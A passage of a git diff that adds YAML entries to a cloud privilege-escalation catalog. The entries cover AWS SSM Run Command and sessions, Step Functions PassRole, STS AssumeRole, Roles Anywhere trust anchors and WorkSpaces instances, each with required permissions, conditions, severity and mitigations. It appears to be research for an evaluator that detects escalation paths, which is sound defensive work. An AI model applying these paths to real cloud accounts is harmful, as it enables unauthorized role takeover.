scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope ssm:StartSession to specific instances and require ssm:SessionDocumentAccessCheck with restricted session documents. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/getting-started-restrict-access-quickstart.html + notes: The evaluator checks StartSession on an online instance and its same-Region SSM-SessionManagerRunShell document, plus an OpenDataChannel grant for a future session in that account and Region. The exact generated session ID and instance-level shell restrictions remain conditional. + +- id: aws-ssm-sendcommand-hybrid-role + provider: aws + service: ssm + title: Run a shell command on an online hybrid managed node + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmsendcommand + source_revision: 98775f1a6f + summary: The source can run a platform-matching shell document on an online hybrid node whose recorded IamRole names the target role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Service roles of online hybrid nodes reachable by Run Command in {account} + outcome: workload_execution + preconditions: + - ssm_hybrid_sendcommand_role + conditions: + - id: hybrid_node_credential_access + description: The managed node must process the command and its SSM agent credentials must remain accessible to the resulting root or SYSTEM process. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict SendCommand on hybrid managed-instance and shell-document ARNs to approved operators, and keep hybrid service roles narrow. + references: + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_InstanceInformation.html + - https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent-restrict-root-level-commands.html + notes: The evaluator requires the same collected online mi- node, its exact IamRole name, a platform-matching AWS shell document and effective SendCommand on both resource ARNs. It does not infer another node's or EC2 instance-profile role. + +- id: aws-ssm-startsession-hybrid-role + provider: aws + service: ssm + title: Open a shell on an online hybrid managed node + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartsession + source_revision: 98775f1a6f + summary: The source can open a default shell session on an online hybrid node whose recorded IamRole names the target role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Service roles of online hybrid nodes reachable by Session Manager in {account} + outcome: workload_execution + preconditions: + - ssm_hybrid_startsession_role + conditions: + - id: hybrid_shell_credential_access + description: The session must open a usable shell on the node with sufficient local access to its SSM agent credentials. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict StartSession to approved hybrid nodes and shell documents, limit future session data-channel grants, and keep their service roles narrow. + references: + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_InstanceInformation.html + - https://docs.aws.amazon.com/systems-manager/latest/userguide/ssm-agent-restrict-root-level-commands.html + notes: The evaluator requires the same collected online mi- node and exact IamRole, default shell document and a wildcard-capable OpenDataChannel grant for a new session. Port-forwarding-only grants cannot satisfy this route. + +- id: aws-ssm-createassociation + provider: aws + service: ssm + title: Create a State Manager association that runs commands on instances + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#privileged-execution-through-a-state-manager-association + source_revision: 171e422299 + summary: The source may run a shell document on an SSM-managed instance by creating an association that targets its instance ID. + requires: + all_of: + - action: ssm:CreateAssociation + resource: "*" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + conditions: + - id: shell_document_allowed + description: CreateAssociation must cover a shell document as well as the new association resource. + - id: instance_managed + description: The instance must be online in SSM. + - id: targets_parameter + description: The Targets parameter can name the instance ID directly; an instance ARN restriction is enforced only for the deprecated InstanceId parameter. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_shell_association_targets + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ssm:CreateAssociation to configuration-management principals and to approved documents. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/state-manager-associations.html + notes: The evaluator checks the Targets route with an exact instance ID, an association ARN, and a same-Region AWS shell document. A custom shell document remains unresolved if its command behavior is not collected. + +- id: aws-ssm-maintenancewindow-register-task-target + provider: aws + service: ssm + title: Register or update a Run Command task on an existing maintenance window + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmregistertaskwithmaintenancewindow-ssmregistertargetwithmaintenancewindow-ssmdescribemaintenancewindows--ec2describeinstances + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the instance-profile role of SSM-managed instances by having an existing maintenance window run a command task it registered or modified on them. + requires: + any_of: + - - action: ssm:RegisterTaskWithMaintenanceWindow + resource: "*" + - - action: ssm:UpdateMaintenanceWindowTask + resource: "*" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances in {account}" + outcome: workload_execution + conditions: + - id: window_schedule + description: An enabled maintenance window must exist and reach its next scheduled run; the task can omit a service role (the service-linked role is used) or needs iam:PassRole for a custom one. + - id: task_targets + description: Without ssm:RegisterTargetWithMaintenanceWindow the task reaches only the window's existing targets or instances it names directly as task targets; with it the source can add any managed instance to the window. + - id: instance_managed + description: Target instances must be online in SSM. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_maintenance_window_run_command_target + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict maintenance-window task registration and update APIs to operations principals, reconcile window tasks against IaC and alert on new or changed window tasks. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/maintenance-windows-permissions.html + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_UpdateMaintenanceWindowTask.html + notes: A registered Run Command task can name an online instance directly with Targets InstanceIds. Updating a task requires an existing RUN_COMMAND task and authorization on both its maintenance window and its windowtask ARN. The passed-service-role Automation variant is aws-ssm-maintenancewindow-automation-task-passrole. + + +- id: aws-ssm-createdocument-startautomationexecution-passrole + provider: aws + service: ssm + title: Create an Automation runbook with a passed assume role and start it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartautomationexecution--execute-a-preauthorized-runbook-role + source_revision: 171e422299 + summary: The source can run an Automation document it authored using a passable SSM role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm.amazonaws.com + - action: ssm:CreateDocument + resource: "*" + - action: ssm:StartAutomationExecution + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: trust_confused_deputy_conditions + description: aws:SourceAccount / aws:SourceArn conditions in the role trust limit it to Automation executions of the stated account. + preconditions: + - ssm_new_automation_document_executable + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Automation roles with iam:PassedToService, restrict ssm:CreateDocument to administrators, and keep Automation roles least-privileged. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/automation-setup-iam.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awssystemsmanager.html + notes: The evaluator binds CreateDocument and StartAutomationExecution to one new Automation document name in one Region, and checks authorization on generated automation-execution resources. The passed role may be supplied through the runbook or the execution request. + +- id: aws-ssm-passrole-createactivation + provider: aws + service: ssm + title: Create a hybrid activation bound to a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmcreateactivation-iampassrole--mint-a-hybrid-activation-that-hands-out-a-role + source_revision: 171e422299 + summary: The source can register a machine it controls as an SSM hybrid managed node using a passable role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm.amazonaws.com + - action: ssm:CreateActivation + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: activation_code_bearer + description: The activation code returned to the caller is a bearer credential that keeps working after the caller loses access, until the activation is deleted and the registered nodes are deregistered. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ssm:CreateActivation to node-onboarding administrators, scope iam:PassRole on hybrid service roles with iam:PassedToService=ssm.amazonaws.com, and alert on CreateActivation and RegisterManagedInstance from unexpected sources. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/hybrid-multicloud-service-role.html + - https://docs.aws.amazon.com/systems-manager/latest/APIReference/API_CreateActivation.html + notes: The hybrid service role must trust ssm.amazonaws.com; the node needs no EC2 instance, VPC or ec2:RunInstances. + +- id: aws-ssm-jit-startaccessrequest-getaccesstoken + provider: aws + service: ssm + title: Obtain just-in-time node access credentials and open a session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartaccessrequest--ssmgetaccesstoken--vend-jit-credentials-for-a-session-manager-shell + source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-profile role of managed nodes for which its just-in-time access request is approved. + requires: + all_of: + - action: ssm:StartAccessRequest + resource: "{target.resource_arn}" + - action: ssm:GetAccessToken + resource: "*" + target: + kind: aws_role + selector: + has_instance_profile: true + via_resource_type: ec2_instance + scope: same_account + aggregate_as: "Instance-profile roles of SSM-managed instances reachable by just-in-time access in {account}" + conditions: + - id: jit_enabled_and_approved + description: Just-in-time node access must be enabled in the account and Region, and an auto-approval policy or all manual approvers must approve the request; a deny-access policy wins. + - id: assumed_role_caller + description: The requester must use supported sts:AssumeRole credentials; IAM users are not supported. + - id: instance_managed + description: The instance must be online in SSM. + preconditions: + - ec2_instance_running + - ssm_managed_instance + - ssm_jit_approved_online_instance + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Keep JIT approval policies narrow (explicit requesters, tagged nodes, manual approval for sensitive nodes), scope ssm:StartAccessRequest by node, and set Session Manager maximum duration and idle timeouts. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/systems-manager-just-in-time-node-access.html + notes: StartAccessRequest is authorized on the EC2 instance ARN for an EC2 managed node, and JIT supports an assumed-role requester session rather than a plain IAM user. A concrete edge requires fresh reviewed evidence that the exact requesting role session obtained approval for that online node, received its access token, established a session, and performed a useful action using the instance role that the requester could not perform directly. Current StartAccessRequest and GetAccessToken permissions remain required. Missing, mismatched or expired approval evidence remains unresolved. + +- id: aws-ssm-maintenancewindow-automation-task-passrole + provider: aws + service: ssm + title: Register or update a maintenance-window Automation task with a passed service role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmregistertaskwithmaintenancewindow-ssmregistertargetwithmaintenancewindow-ssmdescribemaintenancewindows--ec2describeinstances + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of a passable role trusting ssm.amazonaws.com by having a maintenance window run an Automation runbook it authored under that service role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ssm.amazonaws.com + - action: ssm:CreateDocument + resource: "*" + any_of: + - - action: ssm:RegisterTaskWithMaintenanceWindow + resource: "*" + - - action: ssm:UpdateMaintenanceWindowTask + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ssm.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ssm.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: window_schedule + description: An enabled maintenance window must exist and reach its next scheduled run; the effect is delayed until then. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: automation_task_type + description: Only Automation tasks execute steps under the passed service role; Run Command tasks use it only for notifications and run as the node's role. + preconditions: + - ssm_maintenance_window_automation_task_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict maintenance-window task registration and update to operations principals, scope iam:PassRole on SSM service roles with iam:PassedToService, and restrict ssm:CreateDocument. + references: + - https://docs.aws.amazon.com/systems-manager/latest/userguide/maintenance-windows-permissions.html + notes: The page states that with a passed service role the window task runs under that role. Same reach as aws-ssm-createdocument-startautomationexecution-passrole, delayed to the window schedule. diff --git a/src/privilege-escalation-paths-research/aws/sso.yaml b/src/privilege-escalation-paths-research/aws/sso.yaml new file mode 100644 index 0000000000..f5725e98ee --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/sso.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS IAM Identity Center (SSO) and Identity Store privilege escalation techniques. +# Source: hacktricks-cloud aws-sso-and-identitystore-privesc/README.md. diff --git a/src/privilege-escalation-paths-research/aws/stepfunctions.yaml b/src/privilege-escalation-paths-research/aws/stepfunctions.yaml new file mode 100644 index 0000000000..0f6a2bf0d5 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/stepfunctions.yaml @@ -0,0 +1,137 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Step Functions privilege escalation techniques. +# Source: hacktricks-cloud aws-stepfunctions-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +- id: aws-stepfunctions-teststate-passrole + provider: aws + service: stepfunctions + title: Run a supported test state with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statesteststate--iampassrole + source_revision: 171e422299 + summary: The source can run one supported, unmocked AWS SDK task using a passable Step Functions role and read the task result. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: states.amazonaws.com + - action: states:TestState + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: states.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting states.amazonaws.com passable in {account}" + outcome: impersonation + preconditions: + - stepfunctions_teststate_privileged_task_unverified + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: supported_unmocked_task + description: The requested action must be available as an unmocked TestState task and allowed by the passed role; a single test does not run an arbitrary multi-step workflow. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Step Functions roles with iam:PassedToService=states.amazonaws.com, and restrict states:TestState to developers on non-production roles. + references: + - https://docs.aws.amazon.com/step-functions/latest/dg/test-state-isolation.html + notes: TestState assumes the provided role for an unmocked task, and iam:PassRole is required. A concrete role edge requires fresh reviewed evidence of a successful unmocked TestState call, the exact role ID, action and resource, and a useful effect unavailable directly to the caller. Without that evidence the role edge stays unresolved. Map, Parallel, Activity, .sync, and waitForTaskToken patterns require mocks in TestState and do not exercise the role through this path. + +- id: aws-stepfunctions-createstatemachine-passrole-start + provider: aws + service: stepfunctions + title: Create a state machine with a passed role and execute it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statescreatestatemachine--iampassrole--statesstartexecution--statesstartsyncexecution + source_revision: 171e422299 + summary: The source can run a new state machine that makes AWS service calls using a passable Step Functions role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: states.amazonaws.com + - action: states:CreateStateMachine + resource: "arn:{source.partition}:states:*:{source.account}:stateMachine:*" + bind: new_state_machine + any_of: + - - action: states:StartExecution + resource: "arn:{source.partition}:states:*:{source.account}:stateMachine:*" + bind: new_state_machine + - - action: states:StartSyncExecution + resource: "arn:{source.partition}:states:*:{source.account}:stateMachine:*" + bind: new_state_machine + target: + kind: aws_role + selector: + trust_allows_service: states.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting states.amazonaws.com passable in {account}" + outcome: impersonation + preconditions: + - sfn_role_sdk_effect_reviewed + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: same_new_state_machine + description: Creation and execution must both be allowed on the same new state machine ARN. + - id: sync_requires_express + description: StartSyncExecution only works for Express state machines (the source chooses the type, so this does not remove the edge). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Step Functions roles and state machine creation to the deployment pipeline. + references: + - https://docs.aws.amazon.com/step-functions/latest/apireference/API_CreateStateMachine.html + - https://docs.aws.amazon.com/step-functions/latest/dg/supported-services-awssdk.html + notes: CreateStateMachine and StartExecution or StartSyncExecution must cover one new name in the same Region, and PassRole must cover the exact execution role for states.amazonaws.com. A concrete role edge also needs a fresh reviewed execution on that role's current state-machine revision showing a supported SDK task succeeded on an exact resource that the source cannot access directly. Without that effect, the role gain remains unresolved. + +- id: aws-stepfunctions-updatestatemachine-passrole + provider: aws + service: stepfunctions + title: Modify an existing state machine and swap in a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md#statesupdatestatemachine--not-always-required-iampassrole + source_revision: 171e422299 + summary: The source can update and run an existing state machine so it makes AWS service calls using a passable Step Functions role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: states.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: states.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting states.amazonaws.com passable in {account}" + outcome: impersonation + preconditions: + - sfn_existing_state_machine_update_and_start + - sfn_role_sdk_effect_reviewed + conditions: + - id: execution_after_update + description: The source must start the same state machine after attaching the passed role and updating its definition. + - id: existing_state_machine + description: A recorded active state machine must permit both UpdateStateMachine and StartExecution, or StartSyncExecution when it is Express. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Step Functions roles and states:UpdateStateMachine. + references: + - https://docs.aws.amazon.com/step-functions/latest/apireference/API_UpdateStateMachine.html + - https://docs.aws.amazon.com/step-functions/latest/dg/supported-services-awssdk.html + notes: UpdateStateMachine and StartExecution or StartSyncExecution must cover the same active state machine, and PassRole must cover the exact execution role for states.amazonaws.com. A concrete role edge also needs a fresh reviewed execution on that role's current state-machine revision showing a supported SDK task succeeded on an exact resource that the source cannot access directly. Without that effect, the role gain remains unresolved. diff --git a/src/privilege-escalation-paths-research/aws/sts.yaml b/src/privilege-escalation-paths-research/aws/sts.yaml new file mode 100644 index 0000000000..3a67170d4e --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/sts.yaml @@ -0,0 +1,125 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS STS / IAM Roles Anywhere privilege escalation techniques. +# Source: hacktricks-cloud aws-sts-privesc/README.md. + +- id: aws-sts-assumerole-trusted + provider: aws + service: sts + title: Assume a role whose trust policy allows the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerole + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of a role whose trust policy allows it. A same-account trust + naming the source principal directly can suffice without an identity-policy AssumeRole grant; account-root + and cross-account trusts also need an identity-policy grant. + requires: + all_of: + - action: sts:AssumeRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + trust_allows_principal_of_source: true + scope: any + aggregate_as: Roles assumable by the source + conditions: + - id: trust_names_principal_directly + description: For a same-account trust that names the source principal ARN directly, the identity-policy sts:AssumeRole + grant is not required. Trusts naming only the account root require it; cross-account always requires it. + - id: trust_conditions + description: Trust conditions such as sts:ExternalId, aws:MultiFactorAuthPresent, sts:SourceIdentity, aws:PrincipalOrgID + or aws:SourceIp may block the assumption. + - id: source_controlled_session_attributes + description: Trust conditions on aws:PrincipalTag/*, aws:RequestTag/*, sts:SourceIdentity or sts:RoleSessionName + may be satisfiable through source-controlled identity tags, sts:TagSession, sts:SetSourceIdentity, transitive + tags from an earlier session, or attributes asserted by the trusted account. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Trust specific principal ARNs (not account roots or "*"), add aws:PrincipalOrgID / ExternalId / MFA + conditions, and limit sts:AssumeRole Resources. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html + notes: Severity is critical only when an assumable role is admin-equivalent. Role chaining is handled by the evaluator + through repeated edges. + + +- id: aws-rolesanywhere-updatetrustanchor + provider: aws + service: rolesanywhere + title: Replace the CA of an IAM Roles Anywhere trust anchor + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#rolesanywhereupdatetrustanchor--replace-the-trusted-ca-and-mint-role-sessions + source_revision: 171e422299 + summary: The source can obtain the privileges of every role in an enabled Roles Anywhere profile that accepts certificates from a trust anchor whose CA the source can replace. + requires: + all_of: + - action: rolesanywhere:UpdateTrustAnchor + resource: "{target.trust_anchor_arn}" + target: + kind: aws_role + selector: + rolesanywhere_profile_includes_target: true + scope: same_account + aggregate_as: "Roles reachable through Roles Anywhere trust anchors covered by rolesanywhere:UpdateTrustAnchor in {account}" + preconditions: + - rolesanywhere_anchor_profile_trust_join + conditions: + - id: complete_rolesanywhere_role_trust + description: The role trust must allow Roles Anywhere to AssumeRole, TagSession, and SetSourceIdentity for the selected anchor. + - id: trust_conditions_on_cert_attributes + description: Role trust conditions on certificate attributes must be satisfiable by a certificate the source issues. The evaluator binds aws:SourceArn to the exact writable trust anchor and leaves other uncertain conditions unresolved. + - id: anchor_and_profile_enabled + description: The trust anchor and the profile must be enabled (enabling them needs rolesanywhere:EnableTrustAnchor / EnableProfile). + - id: replaceable_certificate_bundle + description: UpdateTrustAnchor can replace an external certificate bundle. An AWS Private CA trust anchor cannot have its CA replaced after creation. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict rolesanywhere:UpdateTrustAnchor/CreateTrustAnchor to administrators and pin aws:SourceArn of the trust anchor plus certificate-subject conditions in role trusts. + references: + - https://docs.aws.amazon.com/rolesanywhere/latest/userguide/trust-model.html + notes: "The evaluator joins a writable enabled certificate-bundle anchor to an enabled profile in the same account and Region and a role trust that admits that exact anchor. Profiles with session policies or managed policy restrictions remain unresolved because they do not grant the full target role." + +- id: aws-rolesanywhere-createtrustanchor-createprofile-passrole + provider: aws + service: rolesanywhere + title: Create an attacker-CA Roles Anywhere trust anchor and a profile listing a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iam-roles-anywhere-trust-anchor-backdoor-rolesanywherecreatetrustanchor--createprofile + source_revision: b587e6bd26 + summary: The source can obtain the privileges of passable roles trusting rolesanywhere.amazonaws.com by registering a trust anchor for a CA it controls and a profile that lists the role, then creating sessions with certificates it signs. + requires: + all_of: + - action: rolesanywhere:CreateTrustAnchor + resource: "*" + - action: rolesanywhere:CreateProfile + resource: "*" + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Passable roles trusting IAM Roles Anywhere in {account}" + outcome: credentials + preconditions: + - rolesanywhere_new_anchor_profile_role_ready + conditions: + - id: trust_conditions_satisfiable + description: Role trust must allow AssumeRole, TagSession, and SetSourceIdentity for a newly generated anchor. An exact existing aws:SourceArn does not accept a new anchor; a broad ArnLike trust-anchor wildcard can. + - id: anchor_and_profile_enabled + description: The trust anchor and profile must be enabled at creation or later (rolesanywhere:EnableTrustAnchor / EnableProfile). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict rolesanywhere:CreateTrustAnchor and CreateProfile to administrators, constrain iam:PassRole for rolesanywhere.amazonaws.com, and pin aws:SourceArn of approved trust anchors in role trust policies. + references: + - https://docs.aws.amazon.com/rolesanywhere/latest/userguide/trust-model.html + notes: The source can create a profile without session-policy restrictions and set it and the new certificate-bundle anchor enabled. The evaluator checks both create actions in one Region, the passable role, collected capacity, and role trust for a newly generated anchor. Unresolved trust conditions remain unknown. diff --git a/src/privilege-escalation-paths-research/aws/supplychain.yaml b/src/privilege-escalation-paths-research/aws/supplychain.yaml new file mode 100644 index 0000000000..a5e2ee8113 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/supplychain.yaml @@ -0,0 +1,9 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Supply Chain application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-supply-chain-privesc/README.md (rev 171e422299). +# Supply Chain instances are not collected: every edge is one unresolved placeholder per account. diff --git a/src/privilege-escalation-paths-research/aws/synthetics.yaml b/src/privilege-escalation-paths-research/aws/synthetics.yaml new file mode 100644 index 0000000000..8d264b1c1e --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/synthetics.yaml @@ -0,0 +1,9 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon CloudWatch Synthetics privilege escalation techniques. +# Source: hacktricks-cloud aws-synthetics-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). diff --git a/src/privilege-escalation-paths-research/aws/transfer.yaml b/src/privilege-escalation-paths-research/aws/transfer.yaml new file mode 100644 index 0000000000..7819ec6d14 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/transfer.yaml @@ -0,0 +1,11 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Transfer Family privilege escalation techniques. +# Source: hacktricks-cloud aws-transfer-family-privesc/README.md (rev a53b46392c). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +[] diff --git a/src/privilege-escalation-paths-research/aws/workspaces.yaml b/src/privilege-escalation-paths-research/aws/workspaces.yaml new file mode 100644 index 0000000000..b7d33e95e6 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/workspaces.yaml @@ -0,0 +1,50 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon WorkSpaces (WorkSpaces Instances) privilege escalation techniques. +# Source: hacktricks-cloud aws-workspaces-privesc/README.md (rev 171e422299). + +- id: aws-workspaces-instances-passrole-createworkspaceinstance + provider: aws + service: workspaces-instances + title: Create a WorkSpaces instance with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workspaces-privesc/README.md#workspaces-instancescreateworkspaceinstance-iampassrole-ec2runinstances + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable instance-profile role trusting ec2.amazonaws.com by launching a WorkSpaces instance whose user data it controls. + requires: + all_of: + - action: workspaces-instances:CreateWorkspaceInstance + resource: "*" + - action: iam:PassRole + resource: "{target.arn}" + - action: ec2:RunInstances + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Instance-profile roles passable in {account}" + outcome: workload_execution + preconditions: + - workspaces_instances_bound_launch_role_effect + conditions: + - id: forward_access_session + description: ec2:RunInstances is evaluated through a forward access session; aws:CalledVia conditions must admit workspaces-instances.amazonaws.com. + - id: service_linked_role + description: The AWSServiceRoleForWorkSpacesInstances service-linked role must exist (or the source needs iam:CreateServiceLinkedRole). + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on instance-profile roles and treat workspaces-instances:CreateWorkspaceInstance like ec2:RunInstances. + references: + - https://docs.aws.amazon.com/workspaces/latest/adminguide/workspaces-instances.html + notes: ManagedInstanceRequest accepts an instance profile and user data. A concrete edge requires fresh reviewed evidence that a supported configuration launched, the exact profile was attached, controlled user data executed, and a useful action succeeded under that role but not for the caller. Current RunInstances grants must cover the exact AMI, network and instance resources with aws:CalledVia=workspaces-instances.amazonaws.com; PassRole must allow ec2.amazonaws.com and the service-linked role must be ready. Missing or conflicting execution evidence remains unresolved. diff --git a/src/privilege-escalation-paths-research/azure/_excluded_171e422_compute.yaml b/src/privilege-escalation-paths-research/azure/_excluded_171e422_compute.yaml new file mode 100644 index 0000000000..a65849fa9f --- /dev/null +++ b/src/privilege-escalation-paths-research/azure/_excluded_171e422_compute.yaml @@ -0,0 +1,350 @@ +# Compute group (G2) exclusions for HackTricks Cloud rev 171e422 non-privesc pages. +# Each section was reviewed; none yields another principal's privileges beyond the catalog entries noted. + +- source: src/pentesting-cloud/azure-security/az-persistence/az-chaos-studio-persistence.md#pre-stage-a-kill-switch + technique: Pre-stage a kill switch + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md#backdoor-cloud-shell-startup-files + technique: Backdoor 